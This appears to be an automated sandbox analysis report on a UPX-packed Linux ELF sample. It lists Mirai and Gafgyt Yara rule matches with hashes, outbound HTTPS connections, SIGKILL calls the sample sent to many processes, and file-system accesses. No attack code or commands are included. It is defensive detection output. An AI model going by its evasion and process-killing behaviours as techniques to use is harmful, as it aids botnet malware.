Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45794
Source: unknown	Network traffic detected: HTTP traffic on port 47822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42280
Source: unknown	Network traffic detected: HTTP traffic on port 46508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55338
Source: unknown	Network traffic detected: HTTP traffic on port 36170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54252
Source: unknown	Network traffic detected: HTTP traffic on port 53354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40098
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47600

System Summary

Malicious sample detected (through community Yara rule)

Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_c8385b81 Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_c8385b81 Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5502, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3129, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3184, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3187, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3188, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3189, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3190, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3193, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3207, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3215, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5511, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5512, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5513, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5514, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5515, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5525, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8048000

Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3129, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3184, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3187, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3188, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3189, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3190, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3193, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3207, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 3215, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5511, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5512, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5513, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5514, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5515, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	SIGKILL sent: pid: 5525, result: successful	Jump to behavior

Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_c8385b81 reference_sample = 3d27736caccdd3199a14ce29d91b1812d1d597a4fa8472698e6df6ef716f5ce9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = dfdbd4dbfe16bcf779adb16352d5e57e3950e449e96c10bf33a91efee7c085e5, id = c8385b81-0f5b-41c3-94bb-265ede946a84, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_c8385b81 reference_sample = 3d27736caccdd3199a14ce29d91b1812d1d597a4fa8472698e6df6ef716f5ce9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = dfdbd4dbfe16bcf779adb16352d5e57e3950e449e96c10bf33a91efee7c085e5, id = c8385b81-0f5b-41c3-94bb-265ede946a84, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5502, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/0@6/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
